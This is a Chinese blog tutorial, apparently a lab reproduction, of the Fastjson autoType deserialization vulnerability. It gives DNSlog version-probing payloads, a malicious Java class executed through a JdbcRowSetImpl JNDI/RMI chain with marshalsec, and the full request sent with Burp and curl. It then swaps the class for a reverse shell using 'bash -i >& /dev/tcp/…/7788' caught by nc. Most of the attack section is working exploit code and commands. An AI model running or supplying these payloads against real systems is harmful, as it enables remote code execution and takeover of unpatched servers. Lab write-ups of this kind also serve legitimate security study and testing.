Fastjson反序列化漏洞原理与漏洞复现

Fastjson反序列化漏洞原理与漏洞复现

环境开启

环境已经加载了镜像

通过docker ps -a 查看

1
2
3
docker ps -a
docker ps <容器id>
docker start 7c5637022711

这里映射的端口10004

一、什么是Fastjson

Fastjson是一个Java库,用于在Java对象和Json数据之间进行切换,它提供了一种简单而高效的方式来序列化Java对象为JSON格式的字符串,以及将JSON字符串反序列化为Java对象。Fastjson支持各种类型的Java对象,包括预先存在但没有源代码的对象。

二、漏洞原理

fastjson在解析Json数据时存在自动类型转换功能(autoType),利用该功能构造恶意JSON数据,使其在反序列化过程种触发漏洞利用链,从而实现恶意代码的执行。

详细过程分析:

  1. 目标网站在解析JSON数据时,未对JSON内容进行验证,直接将JSON解析成Java对象并执行。
  2. 攻击者构造特定的payload(负载),其中包含恶意的Java对象及执行代码。
  3. 攻击者控制URL参数为之前开启的恶意RMI服务器地址,或者通过其他方式将恶意JSON数据传递给目标网站。
  4. 恶意RMI服务器返回ReferenceWrapper类,这是Java远程方法调用(RMI)中的一种对象类型。
  5. 目标网站在执行lookup操作时,通过decodeObject方法将ReferenceWrapper类转换成Reference类,然后远程加载并实例化攻击者恶意构造的Factory类,这个Factory类通常包含了恶意代码的执行逻辑,在实例化时触发Factory类中的静态代码段,从而执行恶意代码。

三、影响版本

受影响版本范围:fastjson<=1.2.24

四、漏洞验证

使用burpsuite抓包

修改请求方式为POST方式
这里通过DNS请求判断

以下POC出网,说明fastjson<=1.2.47

1
{"name":{"@type":"java.net.InetAddress","val":"xxxxx.dnslog.cn"}}


申请一个

1
{"name":{"@type":"java.net.InetAddress","val":"5b29t3.dnslog.cn"}}

content-type记得改为json

refresh接收

以下如果POC出网,说明fastjson>=1.2.37

1
{{"@type":"java.net.URL","val":"http://5b29t3.dnslog.cn"}:"aaa"}

重复上述操作

报错了,而且dnslog没有回显
以下如果POC出网,证明fastjson版本号1.1.16<=version<=1.2.24

1
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://lhe451.dnslog.cn:9999/POC","autoCommit":true}}



报错了,但是我们成功接收,确定了版本范围。

五、漏洞利用

使用攻击机linux(Ubuntu)安装好marshalsec

命令执行

首先编译恶意类代码,在攻击机商新建一个名为TouchFile.java的文件
内容为:
该代码尝试在靶场的/tmp目录下创建一个名为myon的文件

1
2
3
4
cd /root
mkdir web
cd web
nano TouchFile.java #ctrl+o 回车 ctrl+x 按顺序保存退出

恶意代码内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/myon"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

编译

1
javac TouchFile.java


执行完成后我们得到一个.class文件
在该目录下使用python搭建http服务,传输恶意文件
这里开分屏,分个终端,使用tmux(ctrl+b+%)

分屏

第二个终端用 python 搭建 http 服务,传输恶意文件

1
2
cd /root/web
python3 -m http.server 8888


这里靶机访问其 8888 端口就可以看到恶意文件

ctrl+b+方向键

回到第一个终端

接下来我们通过 marshalsec 启动一个 RMI 服务器,监听 1234 端口

并指定加载远程类 TouchFile.class

其中 ip 为攻击机的 ip ,端口号为我们刚才开启的 http 服务端口号,结尾端口号为监听端口号

1
2
cd /root/marshalsec/target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://39.x.x.x:8888/#TouchFile" 1234

然后我们在攻击机请求靶场地址:http://101.x.x.x:10004/,并且使用 burpsuite 抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST / HTTP/1.1
Host: 101.x.x.x:10004
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 165

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://39.x.x.x:1234/TouchFile",
"autoCommit":true
}
}

再次查看 RMI 服务器,可以看到已经发送了 TouchFile.class

而我们监听的 http 服务 8888 端口也有回显:

101.xx.xx.x(靶机)访问了我们 http 服务下存放的恶意文件 TouchFile.class

我们进入靶机 docker 容器看一下:

进入靶机shell

1
docker exec -it 7c5637022711  /bin/bash

可以看到 myon 文件创建成功,也就是说我们远程命令执行成功

反弹shell

方法与命令执行一样,修改我们的恶意文件即可

在攻击机上修改我们的恶意文件 TouchFile.java,内容为:

其中的 ip 为攻击机 ip ,反弹 shell 到攻击机 7788 端口

进入第二个终端

1
2
cd /root/web
nano TouchFile.java

里面是攻击机IP(vps)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/39.x.x.x/7788 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

同样进行编译

1
javac TouchFile.java


同一目录下就会生成或重写 .class文件

此终端,第二个终端执行

1
python3 -m http.server 8888

ctrl+b+方向键切换回第一个终端

还是target目录下,和上面一样

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://39.x.x.x:8888/#TouchFile" 1234

但是前面恶意代码里我们说了,我们要反弹 shell 到攻击机的 7788 端口

所以我们再开一个终端,监听 7788 端口

我们在第三个终端执行nc监听,ctrl+b+方向键

1
nc -lvnp 7788


此时,访问靶场地址,使用 burpsuite 抓包,添加 payload 后发包:

没有burp,可以以curl为准

开启第四个终端ctrl+b+% 并输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
curl -X POST http://101.x.x.x:10004 \
-H "Accept-Encoding: gzip, deflate" \
-H "Accept: */*" \
-H "Accept-Language: en" \
-H "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)" \
-H "Connection: close" \
-H "Content-Type: application/json" \
-d '{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://39.x.1x.x:1234/TouchFile",
"autoCommit": true
}
}'


这时我们第三个终端监听的端口反弹了shell


Fastjson反序列化漏洞原理与漏洞复现
http://example.com/2025/07/29/Fastjson反序列化漏洞原理与漏洞复现/
作者
奇怪的奇怪
发布于
2025年7月29日
许可协议